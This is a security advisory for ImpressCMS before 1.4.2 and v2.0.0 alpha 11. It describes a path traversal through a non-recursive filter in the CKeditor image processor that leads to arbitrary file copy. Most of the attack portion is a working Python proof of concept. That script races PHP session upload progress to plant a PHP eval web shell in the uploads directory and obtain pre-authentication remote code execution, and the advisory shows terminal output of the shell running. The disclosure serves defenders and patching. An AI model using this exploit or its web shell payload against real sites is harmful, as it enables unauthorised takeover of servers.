ImpressCMS is an open source content management system for building and maintaining dynamic web sites, written in the PHP programming language and using a MySQL database
Versions affected | < 1.4.2 pre-release, < v2.0.0 alpha 11 |
# Summary
CKeditor image processor in impressCMS used to have insufficient filter for user supplied image path gives attacker possible path traversal leading to arbitrary file copy/overwrite, with default php config for session upload progress this could lead to pre-auth RCE.
# Vulnerability analysis
Arbitrary file copy
htdocs/editors/CKeditor/ceditfinder/imageeditor/processImage.php
> header("Content-Type: text/plain"); $imageName = str_replace(array("../", "./"), "", $_REQUEST['imageName']);
> $origName = str_replace(array("../", "./"), "", $_REQUEST['origName']);
if (empty($origName)) {
echo "{imageFound:false}"; exit;
}
...
...
...
...
$action = $_REQUEST["action"]; $fileInfo = pathinfo($imageName); $extension = $fileInfo['extension']; switch ($action) {
case "undo": // This is actually revert now, as only revert is supported
if (file_exists($origName)) {
> unlink($imageName); copy($origName, $imageName); }
break;
When undo
action is performed, copy()
function was called with $_REQUEST['origName']
and $_REQUEST['imageName']
parameters controlled by attacker
Path traversal
str_replace
is not recursive
~$ php -a
Interactive mode enabled
php > var_dump(str_replace(array("../", "./"), "", '.....///'));
string(3) "../"
.....///
after going through the filter becomes ../
To copy an arbitrary file, exploit could have been the following:
http://[%CMS_HOST%]/editors/CKeditor/ceditfinder/imageeditor/processImage.php?imageName=[%SOURCE_FILE%]&origName=[%DEST_FILE%]&action=undo
similar vulnerability is also triggered by the action "save"
vulnerable code snippet:
<?php
case "save": // Copy working image back to original
copy($imageName, $origName); break;
Remote Code Execution
Since we got an arbitrary file copy, all we need is to have our malicious php code somewhere on the server and we copy it to a public directory with .php extension,
there's some modules like forum that allow a user to upload a picture as attachement, we can embed our malicious php code inside the picture metadata.
but we need a more reliable way, since upload function can be disabled.
luckily php is shiped with upload_progress
feature which could help us get our code on a file in the server.
Ref: https://blog.orange.tw/2018/10/
TL;DR, by providing PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, php will enable session for you and containing value from post data parameter PHP_SESSION_UPLOAD_PROGRESS, where we will have our php code
to exploit this, we create the session file, then we copy it.
there's a bit of a race here,
to properly exploit this, we a pool of multipart post requests with cookie PHPSESSID=letspwnimpressCMS and POST parameter PHP_SESSION_UPLOAD_PROGRESS containing our payload <?=eval($_GET[a]);exit;//
to
http://[%CMS_HOST%]/editors/CKeditor/ceditfinder/imageeditor/processImage.php
and make another thread pool to trigger the file copy to guarantee the success of the exploit.
http://[%CMS_HOST%]/editors/CKeditor/ceditfinder/imageeditor/processImage.php?origName=/var/lib/php/sessions/sess_letspwnimpressCMS&imageName=.....///.....///.....///.....///uploads/aa.php&action=save
this will copy session file to uploads directory with file name aa.php, and the shell would be found at
http://[%CMS_HOST%]/uploads/aa.php?a=phpinfo();
final exploit code, this is just a poc made for default php config, use at your own risk
import sys
import string
import requests
from multiprocessing.dummy import Pool as ThreadPool
if len(sys.argv)<3:
print('python '+sys.argv[0]+' http://localhost 1')
print('python '+sys.argv[0]+' http://localhost 2')
exit()
HOST = sys.argv[1]
PATH = '/editors/CKeditor/ceditfinder/imageeditor/processImage.php'
sess_name = 'letspwnimpressCMS'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = '<?=eval($_GET[a]);exit;//'
def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'A' + payload + 'A'
}
while 1:
fp = open('/etc/hosts', 'rb')
r = requests.post(HOST+PATH, files={'f': fp}, data=data, headers=headers)
fp.close()
def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
while 1:
url = HOST+PATH+'?origName=.....///.....///.....///.....///uploads/aa.php&imageName=/var/lib/php/sessions/sess_letspwnimpressCMS&action=save'
r = requests.get(url, headers=headers)
c = r.content
url2 = requests.get(HOST+'/uploads/aa.php?a=echo%20%2799999999999999999999999999999%27;copy(%27aa.php%27,%27bb.php%27);')
if('99999999999999999999999999999' in url2.text):
print('[+] done!')
print('[!] Check '+HOST+'/uploads/bb.php?a=phpinfo();')
exit()
if sys.argv[2] == '1':
runner = runner1
else:
runner = runner2
pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
- terminal 1
$ python3 a.py http://localhost/ 1
- terminal 2
$ python3 a.py http://localhost/ 2
[+] done!
[!] Check http://localhost//uploads/bb.php?a=phpinfo();
$ curl "http://localhost//uploads/bb.php?a=phpinfo();"
upload_progress_A<br />
<b>Warning</b>: Use of undefined constant a - assumed 'a' (this will throw an Error in a future version of PHP) in <b>/var/www/html/uploads/bb.php</b> on line <b>1</b><br />
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">
[...]
[...]
[...]
# Impact
An unauthenticated attacker could have exploited a path traversal to obtain an arbitrary file copy leading to pre-auth RCE.
# Timeline
30-10-2020 - Reported
01-11-2020 - Vendor confirmed
14-12-2020 - Fixed in new release for pre-release v1.4.2
16-10-2021 - Fixed in new release for v2.0.0 alpha 11